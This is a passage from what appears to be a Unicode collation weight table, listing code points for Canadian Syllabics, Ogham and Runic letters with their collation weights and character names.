[.3597.0020.0002] # CANADIAN SYLLABICS SAYISI SHI -1599 ; [.3598.0020.0002] # CANADIAN SYLLABICS SAYISI SHO -159A ; [.3599.0020.0002] # CANADIAN SYLLABICS SAYISI SHA -159B ; [.359A.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THE -159C ; [.359B.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THI -159D ; [.359C.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THO -159E ; [.359D.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THA -159F ; [.359E.0020.0002] # CANADIAN SYLLABICS WOODS-CREE TH -15A0 ; [.359F.0020.0002] # CANADIAN SYLLABICS LHI -15A1 ; [.35A0.0020.0002] # CANADIAN SYLLABICS LHII -15A2 ; [.35A1.0020.0002] # CANADIAN SYLLABICS LHO -15A3 ; [.35A2.0020.0002] # CANADIAN SYLLABICS LHOO -15A4 ; [.35A3.0020.0002] # CANADIAN SYLLABICS LHA -15A5 ; [.35A4.0020.0002] # CANADIAN SYLLABICS LHAA -15A6 ; [.35A5.0020.0002] # CANADIAN SYLLABICS LH -157C ; [.35A6.0020.0002] # CANADIAN SYLLABICS NUNAVUT H -15A7 ; [.35A7.0020.0002] # CANADIAN SYLLABICS TH-CREE THE -15A8 ; [.35A8.0020.0002] # CANADIAN SYLLABICS TH-CREE THI -15A9 ; [.35A9.0020.0002] # CANADIAN SYLLABICS TH-CREE THII -15AA ; [.35AA.0020.0002] # CANADIAN SYLLABICS TH-CREE THO -15AB ; [.35AB.0020.0002] # CANADIAN SYLLABICS TH-CREE THOO -15AC ; [.35AC.0020.0002] # CANADIAN SYLLABICS TH-CREE THA -15AD ; [.35AD.0020.0002] # CANADIAN SYLLABICS TH-CREE THAA -15AE ; [.35AE.0020.0002] # CANADIAN SYLLABICS TH-CREE TH -15AF ; [.35AF.0020.0002] # CANADIAN SYLLABICS AIVILIK B -15B0 ; [.35B0.0020.0002] # CANADIAN SYLLABICS BLACKFOOT E -15B1 ; [.35B1.0020.0002] # CANADIAN SYLLABICS BLACKFOOT I -15B2 ; [.35B2.0020.0002] # CANADIAN SYLLABICS BLACKFOOT O -15B3 ; [.35B3.0020.0002] # CANADIAN SYLLABICS BLACKFOOT A -15B4 ; [.35B4.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WE -15B5 ; [.35B5.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WI -15B6 ; [.35B6.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WO -15B7 ; [.35B7.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WA -15B8 ; [.35B8.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NE -15B9 ; [.35B9.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NI -15BA ; [.35BA.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NO -15BB ; [.35BB.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NA -15BC ; [.35BC.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KE -15BD ; [.35BD.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KI -15BE ; [.35BE.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KO -15BF ; [.35BF.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KA -15C0 ; [.35C0.0020.0002] # CANADIAN SYLLABICS SAYISI HE -15C1 ; [.35C1.0020.0002] # CANADIAN SYLLABICS SAYISI HI -15C2 ; [.35C2.0020.0002] # CANADIAN SYLLABICS SAYISI HO -15C3 ; [.35C3.0020.0002] # CANADIAN SYLLABICS SAYISI HA -15C4 ; [.35C4.0020.0002] # CANADIAN SYLLABICS CARRIER GHU -15C5 ; [.35C5.0020.0002] # CANADIAN SYLLABICS CARRIER GHO -15C6 ; [.35C6.0020.0002] # CANADIAN SYLLABICS CARRIER GHE -15C7 ; [.35C7.0020.0002] # CANADIAN SYLLABICS CARRIER GHEE -15C8 ; [.35C8.0020.0002] # CANADIAN SYLLABICS CARRIER GHI -15C9 ; [.35C9.0020.0002] # CANADIAN SYLLABICS CARRIER GHA -15CA ; [.35CA.0020.0002] # CANADIAN SYLLABICS CARRIER RU -15CB ; [.35CB.0020.0002] # CANADIAN SYLLABICS CARRIER RO -15CC ; [.35CC.0020.0002] # CANADIAN SYLLABICS CARRIER RE -15CD ; [.35CD.0020.0002] # CANADIAN SYLLABICS CARRIER REE -15CE ; [.35CE.0020.0002] # CANADIAN SYLLABICS CARRIER RI -15CF ; [.35CF.0020.0002] # CANADIAN SYLLABICS CARRIER RA -15D0 ; [.35D0.0020.0002] # CANADIAN SYLLABICS CARRIER WU -15D1 ; [.35D1.0020.0002] # CANADIAN SYLLABICS CARRIER WO -15D2 ; [.35D2.0020.0002] # CANADIAN SYLLABICS CARRIER WE -15D3 ; [.35D3.0020.0002] # CANADIAN SYLLABICS CARRIER WEE -15D4 ; [.35D4.0020.0002] # CANADIAN SYLLABICS CARRIER WI -15D5 ; [.35D5.0020.0002] # CANADIAN SYLLABICS CARRIER WA -15D6 ; [.35D6.0020.0002] # CANADIAN SYLLABICS CARRIER HWU -15D7 ; [.35D7.0020.0002] # CANADIAN SYLLABICS CARRIER HWO -15D8 ; [.35D8.0020.0002] # CANADIAN SYLLABICS CARRIER HWE -15D9 ; [.35D9.0020.0002] # CANADIAN SYLLABICS CARRIER HWEE -15DA ; [.35DA.0020.0002] # CANADIAN SYLLABICS CARRIER HWI -15DB ; [.35DB.0020.0002] # CANADIAN SYLLABICS CARRIER HWA -15DC ; [.35DC.0020.0002] # CANADIAN SYLLABICS CARRIER THU -15DD ; [.35DD.0020.0002] # CANADIAN SYLLABICS CARRIER THO -15DE ; [.35DE.0020.0002] # CANADIAN SYLLABICS CARRIER THE -15DF ; [.35DF.0020.0002] # CANADIAN SYLLABICS CARRIER THEE -15E0 ; [.35E0.0020.0002] # CANADIAN SYLLABICS CARRIER THI -15E1 ; [.35E1.0020.0002] # CANADIAN SYLLABICS CARRIER THA -15E2 ; [.35E2.0020.0002] # CANADIAN SYLLABICS CARRIER TTU -15E3 ; [.35E3.0020.0002] # CANADIAN SYLLABICS CARRIER TTO -15E4 ; [.35E4.0020.0002] # CANADIAN SYLLABICS CARRIER TTE -15E5 ; [.35E5.0020.0002] # CANADIAN SYLLABICS CARRIER TTEE -15E6 ; [.35E6.0020.0002] # CANADIAN SYLLABICS CARRIER TTI -15E7 ; [.35E7.0020.0002] # CANADIAN SYLLABICS CARRIER TTA -15E8 ; [.35E8.0020.0002] # CANADIAN SYLLABICS CARRIER PU -15E9 ; [.35E9.0020.0002] # CANADIAN SYLLABICS CARRIER PO -15EA ; [.35EA.0020.0002] # CANADIAN SYLLABICS CARRIER PE -15EB ; [.35EB.0020.0002] # CANADIAN SYLLABICS CARRIER PEE -15EC ; [.35EC.0020.0002] # CANADIAN SYLLABICS CARRIER PI -15ED ; [.35ED.0020.0002] # CANADIAN SYLLABICS CARRIER PA -15EE ; [.35EE.0020.0002] # CANADIAN SYLLABICS CARRIER P -15EF ; [.35EF.0020.0002] # CANADIAN SYLLABICS CARRIER GU -15F0 ; [.35F0.0020.0002] # CANADIAN SYLLABICS CARRIER GO -15F1 ; [.35F1.0020.0002] # CANADIAN SYLLABICS CARRIER GE -15F2 ; [.35F2.0020.0002] # CANADIAN SYLLABICS CARRIER GEE -15F3 ; [.35F3.0020.0002] # CANADIAN SYLLABICS CARRIER GI -15F4 ; [.35F4.0020.0002] # CANADIAN SYLLABICS CARRIER GA -15F5 ; [.35F5.0020.0002] # CANADIAN SYLLABICS CARRIER KHU -15F6 ; [.35F6.0020.0002] # CANADIAN SYLLABICS CARRIER KHO -15F7 ; [.35F7.0020.0002] # CANADIAN SYLLABICS CARRIER KHE -15F8 ; [.35F8.0020.0002] # CANADIAN SYLLABICS CARRIER KHEE -15F9 ; [.35F9.0020.0002] # CANADIAN SYLLABICS CARRIER KHI -15FA ; [.35FA.0020.0002] # CANADIAN SYLLABICS CARRIER KHA -15FB ; [.35FB.0020.0002] # CANADIAN SYLLABICS CARRIER KKU -15FC ; [.35FC.0020.0002] # CANADIAN SYLLABICS CARRIER KKO -15FD ; [.35FD.0020.0002] # CANADIAN SYLLABICS CARRIER KKE -15FE ; [.35FE.0020.0002] # CANADIAN SYLLABICS CARRIER KKEE -15FF ; [.35FF.0020.0002] # CANADIAN SYLLABICS CARRIER KKI -1600 ; [.3600.0020.0002] # CANADIAN SYLLABICS CARRIER KKA -1601 ; [.3601.0020.0002] # CANADIAN SYLLABICS CARRIER KK -1602 ; [.3602.0020.0002] # CANADIAN SYLLABICS CARRIER NU -1603 ; [.3603.0020.0002] # CANADIAN SYLLABICS CARRIER NO -1604 ; [.3604.0020.0002] # CANADIAN SYLLABICS CARRIER NE -1605 ; [.3605.0020.0002] # CANADIAN SYLLABICS CARRIER NEE -1606 ; [.3606.0020.0002] # CANADIAN SYLLABICS CARRIER NI -1607 ; [.3607.0020.0002] # CANADIAN SYLLABICS CARRIER NA -1608 ; [.3608.0020.0002] # CANADIAN SYLLABICS CARRIER MU -1609 ; [.3609.0020.0002] # CANADIAN SYLLABICS CARRIER MO -160A ; [.360A.0020.0002] # CANADIAN SYLLABICS CARRIER ME -160B ; [.360B.0020.0002] # CANADIAN SYLLABICS CARRIER MEE -160C ; [.360C.0020.0002] # CANADIAN SYLLABICS CARRIER MI -160D ; [.360D.0020.0002] # CANADIAN SYLLABICS CARRIER MA -160E ; [.360E.0020.0002] # CANADIAN SYLLABICS CARRIER YU -160F ; [.360F.0020.0002] # CANADIAN SYLLABICS CARRIER YO -1610 ; [.3610.0020.0002] # CANADIAN SYLLABICS CARRIER YE -1611 ; [.3611.0020.0002] # CANADIAN SYLLABICS CARRIER YEE -1612 ; [.3612.0020.0002] # CANADIAN SYLLABICS CARRIER YI -1613 ; [.3613.0020.0002] # CANADIAN SYLLABICS CARRIER YA -1614 ; [.3614.0020.0002] # CANADIAN SYLLABICS CARRIER JU -1615 ; [.3615.0020.0002] # CANADIAN SYLLABICS SAYISI JU -1616 ; [.3616.0020.0002] # CANADIAN SYLLABICS CARRIER JO -1617 ; [.3617.0020.0002] # CANADIAN SYLLABICS CARRIER JE -1618 ; [.3618.0020.0002] # CANADIAN SYLLABICS CARRIER JEE -1619 ; [.3619.0020.0002] # CANADIAN SYLLABICS CARRIER JI -161A ; [.361A.0020.0002] # CANADIAN SYLLABICS SAYISI JI -161B ; [.361B.0020.0002] # CANADIAN SYLLABICS CARRIER JA -161C ; [.361C.0020.0002] # CANADIAN SYLLABICS CARRIER JJU -161D ; [.361D.0020.0002] # CANADIAN SYLLABICS CARRIER JJO -161E ; [.361E.0020.0002] # CANADIAN SYLLABICS CARRIER JJE -161F ; [.361F.0020.0002] # CANADIAN SYLLABICS CARRIER JJEE -1620 ; [.3620.0020.0002] # CANADIAN SYLLABICS CARRIER JJI -1621 ; [.3621.0020.0002] # CANADIAN SYLLABICS CARRIER JJA -1622 ; [.3622.0020.0002] # CANADIAN SYLLABICS CARRIER LU -1623 ; [.3623.0020.0002] # CANADIAN SYLLABICS CARRIER LO -1624 ; [.3624.0020.0002] # CANADIAN SYLLABICS CARRIER LE -1625 ; [.3625.0020.0002] # CANADIAN SYLLABICS CARRIER LEE -1626 ; [.3626.0020.0002] # CANADIAN SYLLABICS CARRIER LI -1627 ; [.3627.0020.0002] # CANADIAN SYLLABICS CARRIER LA -1628 ; [.3628.0020.0002] # CANADIAN SYLLABICS CARRIER DLU -1629 ; [.3629.0020.0002] # CANADIAN SYLLABICS CARRIER DLO -162A ; [.362A.0020.0002] # CANADIAN SYLLABICS CARRIER DLE -162B ; [.362B.0020.0002] # CANADIAN SYLLABICS CARRIER DLEE -162C ; [.362C.0020.0002] # CANADIAN SYLLABICS CARRIER DLI -162D ; [.362D.0020.0002] # CANADIAN SYLLABICS CARRIER DLA -162E ; [.362E.0020.0002] # CANADIAN SYLLABICS CARRIER LHU -162F ; [.362F.0020.0002] # CANADIAN SYLLABICS CARRIER LHO -1630 ; [.3630.0020.0002] # CANADIAN SYLLABICS CARRIER LHE -1631 ; [.3631.0020.0002] # CANADIAN SYLLABICS CARRIER LHEE -1632 ; [.3632.0020.0002] # CANADIAN SYLLABICS CARRIER LHI -1633 ; [.3633.0020.0002] # CANADIAN SYLLABICS CARRIER LHA -1634 ; [.3634.0020.0002] # CANADIAN SYLLABICS CARRIER TLHU -1635 ; [.3635.0020.0002] # CANADIAN SYLLABICS CARRIER TLHO -1636 ; [.3636.0020.0002] # CANADIAN SYLLABICS CARRIER TLHE -1637 ; [.3637.0020.0002] # CANADIAN SYLLABICS CARRIER TLHEE -1638 ; [.3638.0020.0002] # CANADIAN SYLLABICS CARRIER TLHI -1639 ; [.3639.0020.0002] # CANADIAN SYLLABICS CARRIER TLHA -163A ; [.363A.0020.0002] # CANADIAN SYLLABICS CARRIER TLU -163B ; [.363B.0020.0002] # CANADIAN SYLLABICS CARRIER TLO -163C ; [.363C.0020.0002] # CANADIAN SYLLABICS CARRIER TLE -163D ; [.363D.0020.0002] # CANADIAN SYLLABICS CARRIER TLEE -163E ; [.363E.0020.0002] # CANADIAN SYLLABICS CARRIER TLI -163F ; [.363F.0020.0002] # CANADIAN SYLLABICS CARRIER TLA -1640 ; [.3640.0020.0002] # CANADIAN SYLLABICS CARRIER ZU -1641 ; [.3641.0020.0002] # CANADIAN SYLLABICS CARRIER ZO -1642 ; [.3642.0020.0002] # CANADIAN SYLLABICS CARRIER ZE -1643 ; [.3643.0020.0002] # CANADIAN SYLLABICS CARRIER ZEE -1644 ; [.3644.0020.0002] # CANADIAN SYLLABICS CARRIER ZI -1645 ; [.3645.0020.0002] # CANADIAN SYLLABICS CARRIER ZA -1646 ; [.3646.0020.0002] # CANADIAN SYLLABICS CARRIER Z -1647 ; [.3647.0020.0002] # CANADIAN SYLLABICS CARRIER INITIAL Z -1648 ; [.3648.0020.0002] # CANADIAN SYLLABICS CARRIER DZU -1649 ; [.3649.0020.0002] # CANADIAN SYLLABICS CARRIER DZO -164A ; [.364A.0020.0002] # CANADIAN SYLLABICS CARRIER DZE -164B ; [.364B.0020.0002] # CANADIAN SYLLABICS CARRIER DZEE -164C ; [.364C.0020.0002] # CANADIAN SYLLABICS CARRIER DZI -164D ; [.364D.0020.0002] # CANADIAN SYLLABICS CARRIER DZA -164E ; [.364E.0020.0002] # CANADIAN SYLLABICS CARRIER SU -164F ; [.364F.0020.0002] # CANADIAN SYLLABICS CARRIER SO -1650 ; [.3650.0020.0002] # CANADIAN SYLLABICS CARRIER SE -1651 ; [.3651.0020.0002] # CANADIAN SYLLABICS CARRIER SEE -1652 ; [.3652.0020.0002] # CANADIAN SYLLABICS CARRIER SI -1653 ; [.3653.0020.0002] # CANADIAN SYLLABICS CARRIER SA -1654 ; [.3654.0020.0002] # CANADIAN SYLLABICS CARRIER SHU -1655 ; [.3655.0020.0002] # CANADIAN SYLLABICS CARRIER SHO -1656 ; [.3656.0020.0002] # CANADIAN SYLLABICS CARRIER SHE -1657 ; [.3657.0020.0002] # CANADIAN SYLLABICS CARRIER SHEE -1658 ; [.3658.0020.0002] # CANADIAN SYLLABICS CARRIER SHI -1659 ; [.3659.0020.0002] # CANADIAN SYLLABICS CARRIER SHA -165A ; [.365A.0020.0002] # CANADIAN SYLLABICS CARRIER SH -165B ; [.365B.0020.0002] # CANADIAN SYLLABICS CARRIER TSU -165C ; [.365C.0020.0002] # CANADIAN SYLLABICS CARRIER TSO -165D ; [.365D.0020.0002] # CANADIAN SYLLABICS CARRIER TSE -165E ; [.365E.0020.0002] # CANADIAN SYLLABICS CARRIER TSEE -165F ; [.365F.0020.0002] # CANADIAN SYLLABICS CARRIER TSI -1660 ; [.3660.0020.0002] # CANADIAN SYLLABICS CARRIER TSA -1661 ; [.3661.0020.0002] # CANADIAN SYLLABICS CARRIER CHU -1662 ; [.3662.0020.0002] # CANADIAN SYLLABICS CARRIER CHO -1663 ; [.3663.0020.0002] # CANADIAN SYLLABICS CARRIER CHE -1664 ; [.3664.0020.0002] # CANADIAN SYLLABICS CARRIER CHEE -1665 ; [.3665.0020.0002] # CANADIAN SYLLABICS CARRIER CHI -1666 ; [.3666.0020.0002] # CANADIAN SYLLABICS CARRIER CHA -1667 ; [.3667.0020.0002] # CANADIAN SYLLABICS CARRIER TTSU -1668 ; [.3668.0020.0002] # CANADIAN SYLLABICS CARRIER TTSO -1669 ; [.3669.0020.0002] # CANADIAN SYLLABICS CARRIER TTSE -166A ; [.366A.0020.0002] # CANADIAN SYLLABICS CARRIER TTSEE -166B ; [.366B.0020.0002] # CANADIAN SYLLABICS CARRIER TTSI -166C ; [.366C.0020.0002] # CANADIAN SYLLABICS CARRIER TTSA -1677 ; [.366D.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWEE -1678 ; [.366E.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWI -1679 ; [.366F.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWII -167A ; [.3670.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWO -167B ; [.3671.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWOO -167C ; [.3672.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWA -167D ; [.3673.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWAA -167E ; [.3674.0020.0002] # CANADIAN SYLLABICS WOODS-CREE FINAL TH -167F ; [.3675.0020.0002] # CANADIAN SYLLABICS BLACKFOOT W -18B0 ; [.3676.0020.0002] # CANADIAN SYLLABICS OY -18B1 ; [.3677.0020.0002] # CANADIAN SYLLABICS AY -18B2 ; [.3678.0020.0002] # CANADIAN SYLLABICS AAY -18B3 ; [.3679.0020.0002] # CANADIAN SYLLABICS WAY -18B4 ; [.367A.0020.0002] # CANADIAN SYLLABICS POY -18B5 ; [.367B.0020.0002] # CANADIAN SYLLABICS PAY -18B6 ; [.367C.0020.0002] # CANADIAN SYLLABICS PWOY -18B7 ; [.367D.0020.0002] # CANADIAN SYLLABICS TAY -18B8 ; [.367E.0020.0002] # CANADIAN SYLLABICS KAY -18B9 ; [.367F.0020.0002] # CANADIAN SYLLABICS KWAY -18BA ; [.3680.0020.0002] # CANADIAN SYLLABICS MAY -18BB ; [.3681.0020.0002] # CANADIAN SYLLABICS NOY -18BC ; [.3682.0020.0002] # CANADIAN SYLLABICS NAY -18BD ; [.3683.0020.0002] # CANADIAN SYLLABICS LAY -18BE ; [.3684.0020.0002] # CANADIAN SYLLABICS SOY -18BF ; [.3685.0020.0002] # CANADIAN SYLLABICS SAY -18C0 ; [.3686.0020.0002] # CANADIAN SYLLABICS SHOY -18C1 ; [.3687.0020.0002] # CANADIAN SYLLABICS SHAY -18C2 ; [.3688.0020.0002] # CANADIAN SYLLABICS SHWOY -18C3 ; [.3689.0020.0002] # CANADIAN SYLLABICS YOY -18C4 ; [.368A.0020.0002] # CANADIAN SYLLABICS YAY -18C5 ; [.368B.0020.0002] # CANADIAN SYLLABICS RAY -18C6 ; [.368C.0020.0002] # CANADIAN SYLLABICS NWI -18C7 ; [.368D.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWI -18C8 ; [.368E.0020.0002] # CANADIAN SYLLABICS NWII -18C9 ; [.368F.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWII -18CA ; [.3690.0020.0002] # CANADIAN SYLLABICS NWO -18CB ; [.3691.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWO -18CC ; [.3692.0020.0002] # CANADIAN SYLLABICS NWOO -18CD ; [.3693.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWOO -18CE ; [.3694.0020.0002] # CANADIAN SYLLABICS RWEE -18CF ; [.3695.0020.0002] # CANADIAN SYLLABICS RWI -18D0 ; [.3696.0020.0002] # CANADIAN SYLLABICS RWII -18D1 ; [.3697.0020.0002] # CANADIAN SYLLABICS RWO -18D2 ; [.3698.0020.0002] # CANADIAN SYLLABICS RWOO -18D3 ; [.3699.0020.0002] # CANADIAN SYLLABICS RWA -18D4 ; [.369A.0020.0002] # CANADIAN SYLLABICS OJIBWAY P -18D5 ; [.369B.0020.0002] # CANADIAN SYLLABICS OJIBWAY T -18D6 ; [.369C.0020.0002] # CANADIAN SYLLABICS OJIBWAY K -18D7 ; [.369D.0020.0002] # CANADIAN SYLLABICS OJIBWAY C -18D8 ; [.369E.0020.0002] # CANADIAN SYLLABICS OJIBWAY M -18D9 ; [.369F.0020.0002] # CANADIAN SYLLABICS OJIBWAY N -18DA ; [.36A0.0020.0002] # CANADIAN SYLLABICS OJIBWAY S -18DB ; [.36A1.0020.0002] # CANADIAN SYLLABICS OJIBWAY SH -18DC ; [.36A2.0020.0002] # CANADIAN SYLLABICS EASTERN W -18DD ; [.36A3.0020.0002] # CANADIAN SYLLABICS WESTERN W -18DE ; [.36A4.0020.0002] # CANADIAN SYLLABICS FINAL SMALL RING -18DF ; [.36A5.0020.0002] # CANADIAN SYLLABICS FINAL RAISED DOT -18E0 ; [.36A6.0020.0002] # CANADIAN SYLLABICS R-CREE RWE -18E1 ; [.36A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LOO -18E2 ; [.36A8.0020.0002] # CANADIAN SYLLABICS WEST-CREE LAA -18E3 ; [.36A9.0020.0002] # CANADIAN SYLLABICS THWE -18E4 ; [.36AA.0020.0002] # CANADIAN SYLLABICS THWA -18E5 ; [.36AB.0020.0002] # CANADIAN SYLLABICS TTHWE -18E6 ; [.36AC.0020.0002] # CANADIAN SYLLABICS TTHOO -18E7 ; [.36AD.0020.0002] # CANADIAN SYLLABICS TTHAA -18E8 ; [.36AE.0020.0002] # CANADIAN SYLLABICS TLHWE -18E9 ; [.36AF.0020.0002] # CANADIAN SYLLABICS TLHOO -18EA ; [.36B0.0020.0002] # CANADIAN SYLLABICS SAYISI SHWE -18EB ; [.36B1.0020.0002] # CANADIAN SYLLABICS SAYISI SHOO -18EC ; [.36B2.0020.0002] # CANADIAN SYLLABICS SAYISI HOO -18ED ; [.36B3.0020.0002] # CANADIAN SYLLABICS CARRIER GWU -18EE ; [.36B4.0020.0002] # CANADIAN SYLLABICS CARRIER DENE GEE -18EF ; [.36B5.0020.0002] # CANADIAN SYLLABICS CARRIER GAA -18F0 ; [.36B6.0020.0002] # CANADIAN SYLLABICS CARRIER GWA -18F1 ; [.36B7.0020.0002] # CANADIAN SYLLABICS SAYISI JUU -18F2 ; [.36B8.0020.0002] # CANADIAN SYLLABICS CARRIER JWA -18F3 ; [.36B9.0020.0002] # CANADIAN SYLLABICS BEAVER DENE L -18F4 ; [.36BA.0020.0002] # CANADIAN SYLLABICS BEAVER DENE R -18F5 ; [.36BB.0020.0002] # CANADIAN SYLLABICS CARRIER DENTAL S -1681 ; [.36BC.0020.0002] # OGHAM LETTER BEITH -1682 ; [.36BD.0020.0002] # OGHAM LETTER LUIS -1683 ; [.36BE.0020.0002] # OGHAM LETTER FEARN -1684 ; [.36BF.0020.0002] # OGHAM LETTER SAIL -1685 ; [.36C0.0020.0002] # OGHAM LETTER NION -1686 ; [.36C1.0020.0002] # OGHAM LETTER UATH -1687 ; [.36C2.0020.0002] # OGHAM LETTER DAIR -1688 ; [.36C3.0020.0002] # OGHAM LETTER TINNE -1689 ; [.36C4.0020.0002] # OGHAM LETTER COLL -168A ; [.36C5.0020.0002] # OGHAM LETTER CEIRT -168B ; [.36C6.0020.0002] # OGHAM LETTER MUIN -168C ; [.36C7.0020.0002] # OGHAM LETTER GORT -168D ; [.36C8.0020.0002] # OGHAM LETTER NGEADAL -168E ; [.36C9.0020.0002] # OGHAM LETTER STRAIF -168F ; [.36CA.0020.0002] # OGHAM LETTER RUIS -1690 ; [.36CB.0020.0002] # OGHAM LETTER AILM -1691 ; [.36CC.0020.0002] # OGHAM LETTER ONN -1692 ; [.36CD.0020.0002] # OGHAM LETTER UR -1693 ; [.36CE.0020.0002] # OGHAM LETTER EADHADH -1694 ; [.36CF.0020.0002] # OGHAM LETTER IODHADH -1695 ; [.36D0.0020.0002] # OGHAM LETTER EABHADH -1696 ; [.36D1.0020.0002] # OGHAM LETTER OR -1697 ; [.36D2.0020.0002] # OGHAM LETTER UILLEANN -1698 ; [.36D3.0020.0002] # OGHAM LETTER IFIN -1699 ; [.36D4.0020.0002] # OGHAM LETTER EAMHANCHOLL -169A ; [.36D5.0020.0002] # OGHAM LETTER PEITH -16A0 ; [.36D6.0020.0002] # RUNIC LETTER FEHU FEOH FE F -16A1 ; [.36D6.0020.0004][.0000.0110.0004] # RUNIC LETTER V -16A2 ; [.36D7.0020.0002] # RUNIC LETTER URUZ UR U -16A4 ; [.36D7.0020.0004][.0000.0110.0004] # RUNIC LETTER Y -16A5 ; [.36D7.0020.0004][.0000.0111.0004] # RUNIC LETTER W -16A6 ; [.36D8.0020.0002] # RUNIC LETTER THURISAZ THURS THORN -16A7 ; [.36D8.0020.0004][.0000.0110.0004] # RUNIC LETTER ETH -16F0 ; [.36D8.0020.0004][.36D8.0020.0004] # RUNIC BELGTHOR SYMBOL -16A8 ; [.36D9.0020.0002] # RUNIC LETTER ANSUZ A -16A9 ; [.36D9.0020.0004][.0000.0110.0004] # RUNIC LETTER OS O -16AC ; [.36D9.0020.0004][.0000.0111.0004] # RUNIC LETTER LONG-BRANCH-OSS O -16AD ; [.36D9.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-OSS O -16AE ; [.36D9.0020.0004][.0000.0113.0004] # RUNIC LETTER O -16F4 ; [.36DA.0020.0002] # RUNIC LETTER FRANKS CASKET OS -16AF ; [.36DB.0020.0002] # RUNIC LETTER OE -16B0 ; [.36DC.0020.0002] # RUNIC LETTER ON -16B1 ; [.36DD.0020.0002] # RUNIC LETTER RAIDO RAD REID R -16B2 ; [.36DE.0020.0002] # RUNIC LETTER KAUNA -16B3 ; [.36DE.0020.0004][.0000.0110.0004] # RUNIC LETTER CEN -16B4 ; [.36DE.0020.0004][.0000.0111.0004] # RUNIC LETTER KAUN K -16B5 ; [.36DE.0020.0004][.0000.0112.0004] # RUNIC LETTER G -16B6 ; [.36DE.0020.0004][.0000.0113.0004] # RUNIC LETTER ENG -16F1 ; [.36DF.0020.0002] # RUNIC LETTER K -16B7 ; [.36E0.0020.0002] # RUNIC LETTER GEBO GYFU G -16B9 ; [.36E1.0020.0002] # RUNIC LETTER WUNJO WYNN W -16E9 ; [.36E1.0020.0004][.0000.0110.0004] # RUNIC LETTER Q -16BA ; [.36E2.0020.0002] # RUNIC LETTER HAGLAZ H -16BB ; [.36E2.0020.0004][.0000.0110.0004] # RUNIC LETTER HAEGL H -16BC ; [.36E2.0020.0004][.0000.0111.0004] # RUNIC LETTER LONG-BRANCH-HAGALL H -16BD ; [.36E2.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-HAGALL H -16BE ; [.36E3.0020.0002] # RUNIC LETTER NAUDIZ NYD NAUD N -16BF ; [.36E3.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-NAUD N -16C0 ; [.36E3.0020.0004][.0000.0111.0004] # RUNIC LETTER DOTTED-N -16C1 ; [.36E4.0020.0002] # RUNIC LETTER ISAZ IS ISS I -16C2 ; [.36E4.0020.0004][.0000.0110.0004] # RUNIC LETTER E -16F5 ; [.36E5.0020.0002] # RUNIC LETTER FRANKS CASKET IS -16C3 ; [.36E6.0020.0002] # RUNIC LETTER JERAN J -16C4 ; [.36E6.0020.0004][.0000.0110.0004] # RUNIC LETTER GER -16C5 ; [.36E7.0020.0002] # RUNIC LETTER LONG-BRANCH-AR AE -16C6 ; [.36E7.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-AR A -16EE ; [.36E7.0020.0004][.36F2.0020.0004] # RUNIC ARLAUG SYMBOL -16C7 ; [.36E8.0020.0002] # RUNIC LETTER IWAZ EOH -16C8 ; [.36E9.0020.0002] # RUNIC LETTER PERTHO PEORTH P -16D5 ; [.36E9.0020.0004][.0000.0110.0004] # RUNIC LETTER OPEN-P -16C9 ; [.36EA.0020.0002] # RUNIC LETTER ALGIZ EOLHX -16CA ; [.36EB.0020.0002] # RUNIC LETTER SOWILO S -16CB ; [.36EB.0020.0004][.0000.0110.0004] # RUNIC LETTER SIGEL LONG-BRANCH-SOL S -16EA ; [.36EB.0020.0004][.0000.0111.0004] # RUNIC LETTER X -16CC ; [.36EB.0020.0004][.0000.0112.0004] # RUNIC LETTER SHORT-TWIG-SOL S -16CD ; [.36EB.0020.0004][.0000.0113.0004] # RUNIC LETTER C -16CE ; [.36EB.0020.0004][.0000.0114.0004] # RUNIC LETTER Z -16F2 ; [.36EC.0020.0002] # RUNIC LETTER SH -16CF ; [.36ED.0020.0002] # RUNIC LETTER TIWAZ TIR TYR T -16D0 ; [.36ED.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-TYR T -16D1 ; [.36ED.0020.0004][.0000.0111.0004] # RUNIC LETTER D -16D2 ; [.36EE.0020.0002] # RUNIC LETTER BERKANAN BEORC BJARKAN B -16D3 ; [.36EE.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-BJARKAN B -16D4 ; [.36EE.0020.0004][.0000.0111.0004] # RUNIC LETTER DOTTED-P -16D6 ; [.36EF.0020.0002] # RUNIC LETTER EHWAZ EH E -16F6 ; [.36F0.0020.0002] # RUNIC LETTER FRANKS CASKET EH -16D7 ; [.36F1.0020.0002] # RUNIC LETTER MANNAZ MAN M -16D8 ; [.36F1.0020.0004][.0000.0110.0004] # RUNIC LETTER LONG-BRANCH-MADR M -16D9 ; [.36F1.0020.0004][.0000.0111.0004] # RUNIC LETTER SHORT-TWIG-MADR M -16EF ; [.36F1.0020.0004][.0000.0110.0004][.36F1.0020.0004][.0000.0110.0004] # RUNIC 